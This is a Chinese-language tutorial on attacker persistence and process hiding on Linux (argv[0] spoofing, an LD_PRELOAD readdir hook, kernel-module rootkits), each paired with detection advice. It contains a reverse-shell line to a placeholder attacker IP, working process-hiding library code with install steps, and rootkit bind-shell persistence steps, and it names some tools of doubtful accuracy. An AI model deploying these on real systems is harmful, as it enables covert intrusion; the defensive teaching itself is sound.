linux 权限的维持和隐藏
字数 3776 2025-11-05 23:45:18

Linux 权限维持与隐藏技术详解

文档说明

本文档旨在深入解析在 Linux 环境中,攻击者在获得初始权限后,如何通过各种技术手段维持权限并隐藏自身踪迹。内容涵盖从用户空间到内核空间的多项技术,并同时提供相应的检测与防御方案,以帮助蓝队成员更好地进行安全防护。

目标读者: 具备一定 Linux 基础的安全研究人员、渗透测试人员及系统安全运维人员。
警告: 本文所述技术仅用于安全研究、学习与授权测试,严禁用于非法用途。


第一章:进程隐藏 - 修改 argv[0]

1.1 技术原理

在 C 语言程序中,main 函数的标准形式为 int main(int argc, char *argv[])。其中:

  • argc:命令行参数的数量。
  • argv:一个指向字符串数组的指针,argv[0] 通常指向程序自身的名称。

关键点在于,argv[0] 所指向的内存区域是可写的。这意味着程序在运行时可以动态修改 pstop 等命令显示出来的进程名称。

1.2 实现方法

攻击者可以编写一个特殊的“加载器”程序。该程序的主要逻辑如下:

  1. 使用 fork() 系统调用创建一个子进程。
  2. 在子进程中,修改 argv[0] 的内容,例如将其伪装成 [kworker/0:0][ksoftirqd/0] 等合法的内核线程名称。
  3. 在子进程中执行真正的恶意负载(如反向 Shell)。

示例代码片段:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
    pid_t pid = fork();
    if (pid == 0) {
        // 在子进程中
        strncpy(argv[0], "[kworker/0:0]", strlen(argv[0]));
        // 执行恶意程序,例如 reverse shell
        system("/bin/bash -c 'bash -i >& /dev/tcp/attacker_ip/port 0>&1'");
        exit(0);
    }
    return 0;
}

1.3 技术破绽与检测

这种隐藏手段较为初级,存在多个明显破绽,容易被发现:

  1. /proc/[pid]/exe 链接

    • 即使进程名被修改,/proc/[pid]/exe 符号链接仍然指向真实的、在磁盘上的可执行文件。
    • 检测命令ls -la /proc/[可疑pid]/exe
  2. 启动用户

    • 真正的内核线程(名称通常以 [ 括号括起)的启动用户永远是 root
    • 如果一个名为 [kworker/0:0] 的进程是由普通用户(如 www-dataneko)启动的,则极有可能是伪装的。
    • 检测命令ps -eo pid,user,comm | grep "\["
  3. 关联的 TTY

    • 真正的内核线程没有关联的终端(TTY 字段显示为 ?)。
    • 伪造的进程通常由 Shell 启动,会关联一个伪终端(如 pts/0pts/1)。
    • 检测命令ps -ef | grep "\[" 查看 TTY 列。

第二章:用户空间劫持 - LD_PRELOAD

2.1 技术原理

LD_PRELOAD 是 Linux 系统的一个环境变量。它允许用户指定在程序运行前优先加载的共享库(.so 文件)。动态链接器在加载程序时,会先加载 LD_PRELOAD 指定的库,然后再加载程序依赖的其他库。这导致了“符号竞争”(Symbol Hijacking)的可能性。

原理:当一个可执行程序调用某个函数(如 readdir)时,动态链接器的查找顺序是:

  1. 程序本身(如果静态链接了该函数)。
  2. LD_PRELOAD 环境变量中指定的库。
  3. /etc/ld.so.preload 文件中指定的库(全局生效,需要 root 权限)。
  4. 默认的系统共享库(如 /lib/x86_64-linux-gnu/libc.so.6)。

因此,如果 LD_PRELOAD 指定的库中包含了与系统库同名的函数(例如 readdir),程序就会优先执行 LD_PRELOAD 库中的版本,从而实现劫持。

2.2 实现方法:隐藏特定进程

劫持 readdir 函数可以用于隐藏 pstopls 等命令输出中的特定进程或文件。

示例劫持库代码 (hider.c):

#define _GNU_SOURCE
#include <dirent.h>
#include <string.h>
#include <dlfcn.h>

// 定义原版readdir的函数指针
struct dirent *(*original_readdir)(DIR *dirp);

struct dirent *readdir(DIR *dirp) {
    // 获取原版readdir函数地址
    original_readdir = dlsym(RTLD_NEXT, "readdir");
    struct dirent *dir;

    while ((dir = original_readdir(dirp)) != NULL) {
        // 如果目录项名称不是我们要隐藏的进程名,则返回
        if (strstr(dir->d_name, "my_malicious_process") == 0) {
            break;
        }
    }
    return dir;
}

编译劫持库:

gcc -shared -fPIC -o hider.so hider.c -ldl

使用方法:

  • 临时生效(当前会话)export LD_PRELOAD=/path/to/hider.so
  • 永久生效(对当前用户):将 export LD_PRELOAD=/path/to/hider.so 写入用户家目录的 ~/.bashrc~/.profile 文件中。
  • 全局生效(需要 root):将库的完整路径写入 /etc/ld.so.preload 文件。

2.3 检测与对抗

  1. 使用 strace 追踪

    • strace 可以跟踪程序执行时的系统调用。由于 LD_PRELOAD 劫持发生在用户空间,而 strace 在更底层监控系统调用,因此可以绕过这种劫持,看到真实的 getdents 系统调用(readdir 会调用它)结果。
    • 检测命令strace -e trace=getdents ps aux 2>&1 | grep malicious_process
  2. 使用静态编译的工具

    • 静态编译的程序在编译时已将所需的库函数打包进二进制文件内部,运行时不再依赖外部的动态链接库,因此完全不受 LD_PRELOAD 影响。
    • 推荐工具:静态编译的 busybox
      • 下载静态编译的 busybox 二进制文件。
      • 使用它提供的 psls 等命令进行检查:./busybox ps aux

第三章:内核模块 Rootkit

3.1 技术原理与权限要求

当攻击者获得 root 权限 后,便可以进行更深层次的权限维持,即直接修改内核。通过编写和加载内核模块(LKM, Loadable Kernel Module),攻击者可以hook系统调用、隐藏文件、进程、网络连接等,其隐蔽性远高于用户空间技术。

3.2 案例一:文件释放与守护

此类 Rootkit 模块在加载时,会释放一个嵌入在模块中的 ELF 二进制文件(后门)到磁盘上,并确保其持续运行。

扩展功能

  • 可以定期检查后门进程是否存活,若进程被杀掉,则自动重新启动它,实现“打不死”的守护功能。
  • 可以将后门代码直接以内核模块中的 Shellcode 形式存在,定期检查并执行,避免在磁盘上留下文件。

3.3 案例二:内核级 Bind Shell

此类 Rootkit 模块直接在内核层面开启一个网络端口,并绑定一个 Shell。

典型实现流程

  1. 攻击者编写内核模块,在其中创建一个内核线程。
  2. 该线程监听一个特定的 TCP 端口(例如文档中的 65522)。
  3. 当有连接到来时,直接在内核空间处理连接请求,并 execve 一个 /bin/sh 进程,将其输入/输出重定向到网络套接字。
  4. 攻击者使用 nc target_ip 65522 即可获得一个 root Shell。

安装与持久化

  1. 编译内核模块(.ko 文件)。
  2. 使用 insmod 命令加载模块。
  3. 保证重启有效:将模块加载命令(如 insmod /path/to/rootkit.ko)添加到 /etc/rc.local 或创建一个 systemd service 等开机自启动脚本中。

3.4 检测与防御

内核级 Rootkit 的检测非常困难,通常需要借助外部工具或硬件。

  1. 内核模块完整性检查

    • 使用 lsmod 查看已加载模块列表,与已知合法模块列表对比。
    • 使用 modinfo [module_name] 查看模块信息,可疑模块往往信息不全或异常。
  2. 使用基于内核的完整性监控

    • Linux Kernel Guard (LKG):可以检测系统调用的钩子(Hook)。
    • Sysinternals RootkitRevealer (for Linux 版本):比较原始数据和 API 返回数据的差异。
  3. 使用硬件辅助的安全技术

    • UEFI Secure Boot:可以阻止加载未经验证签名的内核模块。
  4. 最有效但最极端的方法

    • 从受信任的源重新安装系统,并恢复干净的数据备份。

总结与思维导图

技术层次 技术名称 权限要求 隐蔽性 关键检测方法
用户空间 修改 argv[0] 无需 root 检查 /proc/[pid]/exe, 进程用户, TTY
用户空间 LD_PRELOAD 劫持 无需 root (全局需 root) 使用 strace, 静态编译工具 (如 busybox)
内核空间 内核模块 Rootkit 必须 root 内核完整性检查工具, 硬件安全启动

防御原则:

  • 最小权限原则:严格限制用户和进程的权限,避免攻击者轻易获取 root。
  • 监控与审计:部署 HIDS(主机入侵检测系统),对进程、文件、网络连接进行持续监控和日志审计。
  • 保持系统更新:及时修补漏洞,减少攻击面。
  • 使用可信软件源:避免安装来路不明的软件和模块。

文档结束

希望这份详尽的教学文档能够帮助你全面理解 Linux 权限维持与隐藏的技术脉络。请务必在合法合规的环境下使用这些知识。

Linux 权限维持与隐藏技术详解 文档说明 本文档旨在深入解析在 Linux 环境中,攻击者在获得初始权限后,如何通过各种技术手段维持权限并隐藏自身踪迹。内容涵盖从用户空间到内核空间的多项技术,并同时提供相应的检测与防御方案,以帮助蓝队成员更好地进行安全防护。 目标读者: 具备一定 Linux 基础的安全研究人员、渗透测试人员及系统安全运维人员。 警告: 本文所述技术仅用于安全研究、学习与授权测试,严禁用于非法用途。 第一章:进程隐藏 - 修改 argv[ 0 ] 1.1 技术原理 在 C 语言程序中, main 函数的标准形式为 int main(int argc, char *argv[]) 。其中: argc :命令行参数的数量。 argv :一个指向字符串数组的指针, argv[0] 通常指向程序自身的名称。 关键点在于, argv[0] 所指向的内存区域是 可写的 。这意味着程序在运行时可以动态修改 ps 、 top 等命令显示出来的进程名称。 1.2 实现方法 攻击者可以编写一个特殊的“加载器”程序。该程序的主要逻辑如下: 使用 fork() 系统调用创建一个子进程。 在子进程中,修改 argv[0] 的内容,例如将其伪装成 [kworker/0:0] 、 [ksoftirqd/0] 等合法的内核线程名称。 在子进程中执行真正的恶意负载(如反向 Shell)。 示例代码片段: 1.3 技术破绽与检测 这种隐藏手段较为初级,存在多个明显破绽,容易被发现: /proc/[pid]/exe 链接 : 即使进程名被修改, /proc/[pid]/exe 符号链接仍然指向真实的、在磁盘上的可执行文件。 检测命令 : ls -la /proc/[可疑pid]/exe 启动用户 : 真正的内核线程(名称通常以 [ 括号括起)的启动用户永远是 root 。 如果一个名为 [kworker/0:0] 的进程是由普通用户(如 www-data 、 neko )启动的,则极有可能是伪装的。 检测命令 : ps -eo pid,user,comm | grep "\[" 关联的 TTY : 真正的内核线程没有关联的终端(TTY 字段显示为 ? )。 伪造的进程通常由 Shell 启动,会关联一个伪终端(如 pts/0 或 pts/1 )。 检测命令 : ps -ef | grep "\[" 查看 TTY 列。 第二章:用户空间劫持 - LD_ PRELOAD 2.1 技术原理 LD_PRELOAD 是 Linux 系统的一个环境变量。它允许用户指定在程序运行前优先加载的共享库( .so 文件)。动态链接器在加载程序时,会先加载 LD_PRELOAD 指定的库,然后再加载程序依赖的其他库。这导致了“符号竞争”(Symbol Hijacking)的可能性。 原理 :当一个可执行程序调用某个函数(如 readdir )时,动态链接器的查找顺序是: 程序本身(如果静态链接了该函数)。 LD_PRELOAD 环境变量中指定的库。 /etc/ld.so.preload 文件中指定的库(全局生效,需要 root 权限)。 默认的系统共享库(如 /lib/x86_64-linux-gnu/libc.so.6 )。 因此,如果 LD_PRELOAD 指定的库中包含了与系统库同名的函数(例如 readdir ),程序就会优先执行 LD_PRELOAD 库中的版本,从而实现劫持。 2.2 实现方法:隐藏特定进程 劫持 readdir 函数可以用于隐藏 ps 、 top 、 ls 等命令输出中的特定进程或文件。 示例劫持库代码 ( hider.c ): 编译劫持库: 使用方法: 临时生效(当前会话) : export LD_PRELOAD=/path/to/hider.so 永久生效(对当前用户) :将 export LD_PRELOAD=/path/to/hider.so 写入用户家目录的 ~/.bashrc 或 ~/.profile 文件中。 全局生效(需要 root) :将库的完整路径写入 /etc/ld.so.preload 文件。 2.3 检测与对抗 使用 strace 追踪 : strace 可以跟踪程序执行时的系统调用。由于 LD_PRELOAD 劫持发生在用户空间,而 strace 在更底层监控系统调用,因此可以绕过这种劫持,看到真实的 getdents 系统调用( readdir 会调用它)结果。 检测命令 : strace -e trace=getdents ps aux 2>&1 | grep malicious_process 使用静态编译的工具 : 静态编译的程序在编译时已将所需的库函数打包进二进制文件内部,运行时不再依赖外部的动态链接库,因此完全不受 LD_PRELOAD 影响。 推荐工具 :静态编译的 busybox 。 下载静态编译的 busybox 二进制文件。 使用它提供的 ps 、 ls 等命令进行检查: ./busybox ps aux 第三章:内核模块 Rootkit 3.1 技术原理与权限要求 当攻击者获得 root 权限 后,便可以进行更深层次的权限维持,即直接修改内核。通过编写和加载内核模块(LKM, Loadable Kernel Module),攻击者可以hook系统调用、隐藏文件、进程、网络连接等,其隐蔽性远高于用户空间技术。 3.2 案例一:文件释放与守护 此类 Rootkit 模块在加载时,会释放一个嵌入在模块中的 ELF 二进制文件(后门)到磁盘上,并确保其持续运行。 扩展功能 : 可以定期检查后门进程是否存活,若进程被杀掉,则自动重新启动它,实现“打不死”的守护功能。 可以将后门代码直接以内核模块中的 Shellcode 形式存在,定期检查并执行,避免在磁盘上留下文件。 3.3 案例二:内核级 Bind Shell 此类 Rootkit 模块直接在内核层面开启一个网络端口,并绑定一个 Shell。 典型实现流程 : 攻击者编写内核模块,在其中创建一个内核线程。 该线程监听一个特定的 TCP 端口(例如文档中的 65522)。 当有连接到来时,直接在内核空间处理连接请求,并 execve 一个 /bin/sh 进程,将其输入/输出重定向到网络套接字。 攻击者使用 nc target_ip 65522 即可获得一个 root Shell。 安装与持久化 : 编译内核模块( .ko 文件)。 使用 insmod 命令加载模块。 保证重启有效 :将模块加载命令(如 insmod /path/to/rootkit.ko )添加到 /etc/rc.local 或创建一个 systemd service 等开机自启动脚本中。 3.4 检测与防御 内核级 Rootkit 的检测非常困难,通常需要借助外部工具或硬件。 内核模块完整性检查 : 使用 lsmod 查看已加载模块列表,与已知合法模块列表对比。 使用 modinfo [module_name] 查看模块信息,可疑模块往往信息不全或异常。 使用基于内核的完整性监控 : Linux Kernel Guard (LKG) :可以检测系统调用的钩子(Hook)。 Sysinternals RootkitRevealer (for Linux 版本) :比较原始数据和 API 返回数据的差异。 使用硬件辅助的安全技术 : UEFI Secure Boot :可以阻止加载未经验证签名的内核模块。 最有效但最极端的方法 : 从受信任的源重新安装系统,并恢复干净的数据备份。 总结与思维导图 | 技术层次 | 技术名称 | 权限要求 | 隐蔽性 | 关键检测方法 | | :--- | :--- | :--- | :--- | :--- | | 用户空间 | 修改 argv[ 0] | 无需 root | 低 | 检查 /proc/[pid]/exe , 进程用户, TTY | | 用户空间 | LD_ PRELOAD 劫持 | 无需 root (全局需 root) | 中 | 使用 strace , 静态编译工具 (如 busybox) | | 内核空间 | 内核模块 Rootkit | 必须 root | 高 | 内核完整性检查工具, 硬件安全启动 | 防御原则: 最小权限原则 :严格限制用户和进程的权限,避免攻击者轻易获取 root。 监控与审计 :部署 HIDS(主机入侵检测系统),对进程、文件、网络连接进行持续监控和日志审计。 保持系统更新 :及时修补漏洞,减少攻击面。 使用可信软件源 :避免安装来路不明的软件和模块。 文档结束 希望这份详尽的教学文档能够帮助你全面理解 Linux 权限维持与隐藏的技术脉络。请务必在合法合规的环境下使用这些知识。